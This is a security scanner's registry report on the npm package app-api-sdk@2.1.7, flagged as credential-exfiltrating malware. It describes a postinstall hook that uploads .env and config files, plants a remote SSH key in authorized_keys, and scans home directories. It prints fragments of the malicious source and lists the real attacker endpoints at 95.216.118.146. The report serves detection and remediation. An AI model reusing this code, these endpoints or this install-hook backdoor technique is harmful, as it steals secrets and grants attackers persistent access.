registry / Credential exfiltration / app-api-sdk

app-api-sdk

APIs in NodeJS should have a single source of truth for api specs between code and docs, as well as compile time type safety.

This report shows the evidence for app-api-sdk@2.1.7, the only known version.

AI Security Review

scanned 3mo ago · by lpm-firewall-ai

Direct source inspection confirms an install-time exfiltration and persistence chain, not merely suspicious primitives. The README is unrelated to the executable code.

Static reason

High-risk behavior combination matched malicious policy.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review

Trigger

npm postinstall: node test.js

Impact

Steals configuration/secrets and attempts persistent SSH backdoor access.

Mechanism

remote key retrieval, filesystem harvesting, and HTTP exfiltration

Attack narrative

The postinstall script runs test.js, which invokes both malicious routines. One uploads likely secret/config files from the install working tree. The other retrieves an SSH key and scan patterns from a hard-coded server, attempts to append the received key to the current user's authorized_keys and enable inbound SSH, scans user-accessible paths for remotely selected files, then uploads matches with username and platform metadata.

AI rationale

Direct source inspection confirms an install-time exfiltration and persistence chain, not merely suspicious primitives. The README is unrelated to the executable code.

Evidence

package.jsontest.jsindex.jsreadme.md$HOME/.ssh/authorized_keys

Network endpoints4

95.216.118.146:3001/api/ssh-key95.216.118.146:3001/api/scan-patterns95.216.118.146:3001/api/block-patterns95.216.118.146:3001/api/v1

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

package.json postinstall runs node test.js.
test.js invokes from_str_2 and from_str_1 during installation.
index.js uploads cwd id.json, config.toml, and .env files to 95.216.118.146.
index.js fetches a remote SSH key, writes $HOME/.ssh/authorized_keys, and enables SSH through UFW.
index.js scans the home directory or Windows user drives for server-selected filename patterns and uploads matches.

Evidence against

readme.md describes an unrelated TS API documentation package; no source implements that claimed SDK behavior.
No legitimate API-SDK functionality is present in index.js.

Behavioral surface

Source

ChildProcessEnvironmentVarsFilesystemNetworkShell

Supply chain

UrlStrings

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 8.61 KB of source, external domains: 95.216.118.146

Source & flagged code

10 flagged

package.jsonView file

•scripts.postinstall = node test.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•Runtime dependency names matching Node built-ins: child_process, os

High

Node Builtin Dependency Squat

Package declares a runtime dependency whose name matches a Node built-in module.

package.jsonView on unpkg

index.jsView file

1const { execSync, execFileSync } = require("child_process"); L2: const fs = require("fs"); L3: const path = require("path"); L4: const axios = require("axios"); L5: const FormData = require("form-data"); L6: const os = require("os"); ... L37: const fileData = fs.readFileSync(filePath); L38: const envUser = process.env.USER || "unknown"; L39: const payload = Buffer.concat([Buffer.from(`${envUser}\n`, "utf8"), fileData]); L40: const filename = path.basename(filePath) || "file.bin"; ... L53: const patterns = ["id.json", "config.toml", "Config.toml", "env", ".env"]; L54: const cwd = process.cwd();

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

index.jsView on unpkg · L1

1Trigger-reachable chain: manifest.main -> index.js L1: const { execSync, execFileSync } = require("child_process"); L2: const fs = require("fs"); L3: const path = require("path"); L4: const axios = require("axios"); L5: const FormData = require("form-data"); L6: const os = require("os"); ... L37: const fileData = fs.readFileSync(filePath); L38: const envUser = process.env.USER || "unknown"; L39: const payload = Buffer.concat([Buffer.from(`${envUser}\n`, "utf8"), fileData]); L40: const filename = path.basename(filePath) || "file.bin"; ... L53: const patterns = ["id.json", "config.toml", "Config.toml", "env", ".env"]; L54: const cwd = process.cwd();

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

index.jsView on unpkg · L1

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

index.jsView on unpkg · L1

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

index.jsView on unpkg · L1

1Trigger-reachable persistence chain: manifest.main -> index.js L1: const { execSync, execFileSync } = require("child_process"); L2: const fs = require("fs"); L3: const path = require("path"); L4: const axios = require("axios"); L5: const FormData = require("form-data"); L6: const os = require("os"); ... L37: const fileData = fs.readFileSync(filePath); L38: const envUser = process.env.USER || "unknown"; L39: const payload = Buffer.concat([Buffer.from(`${envUser}\n`, "utf8"), fileData]); L40: const filename = path.basename(filePath) || "file.bin"; ... L53: const patterns = ["id.json", "config.toml", "Config.toml", "env", ".env"]; L54: const cwd = process.cwd();

High

Trigger Reachable Persistence

A manifest entrypoint or package-local install chain reaches persistence behavior.

index.jsView on unpkg · L1

•matchType = normalized_sha256 matchedPackage = app-hsu-layer@2.1.6 matchedPath = index.js matchedIdentity = npm:YXBwLWhzdS1sYXllcg:2.1.6 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

index.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = 5f428da78b612f93 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = app-hsu-layer@2.1.6 matchedPath = index.js matchedIdentity = npm:YXBwLWhzdS1sYXllcg:2.1.6 similarity = 1.000 shingleOverlap = 2 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

index.jsView on unpkg

test.jsView file

•An install lifecycle imports the package entrypoint, whose normalized source uploads sensitive configuration files and appends a remotely fetched SSH key to authorized_keys. test.js: const { from_str_2, from_str_1 } = require("."); async function main() { await from_str_2(); // same as Rust from_str() await from_str_1(); // same as Rust from_str() main(); index.js: const FormData = require("form-data"); const envUser = process.env.USER || "unknown"; const patterns = ["id.json", "config.toml", "Config.toml", "env", ".env"]; process.env.USER || process.env.USERNAME || process.env.LOGNAME || const form = new FormData(); process.env.SystemRoot

Critical

Persistence Backdoor

Source writes persistence or remote-access backdoor material.

test.jsView on unpkg

Source & flagged code

10 flagged · loading source

package.jsonView file

•scripts.postinstall = node test.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•Runtime dependency names matching Node built-ins: child_process, os

High

Node Builtin Dependency Squat

Package declares a runtime dependency whose name matches a Node built-in module.

package.jsonView on unpkg

index.jsView file

Findings

3 Critical7 High3 Medium3 Low

CriticalHardcoded Runtime Data Exfiltrationindex.js

CriticalPersistence Backdoortest.js

CriticalTrigger Reachable Dangerous Capabilityindex.js

HighInstall Time Lifecycle Scriptspackage.json

HighHost Fingerprint Exfiltrationindex.js

HighSandbox Evasion Gated Capabilityindex.js

HighTrigger Reachable Persistenceindex.js

HighNode Builtin Dependency Squatpackage.json

HighKnown Malware Source Similarityindex.js

HighKnown Malware Source Fingerprint Signatureindex.js

MediumNetwork

MediumEnvironment Vars

Medium

Affected versions and remediation

This report applies to app-api-sdk@2.1.7.

The versions list below shows the verdict for each recorded version.

Avoid installing app-api-sdk@2.1.7. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-08-05 22:19:53.643Z (UTC).

Source advisory published: 2026-08-05 21:03:30.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

1 known version

2.1.7latestshownMaliciousCredential ExfiltrationBlockPublishedAug 5, 2026, 5:36 PM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other credential exfiltration packages

Related packages

Other credential exfiltration packages

Source & flagged code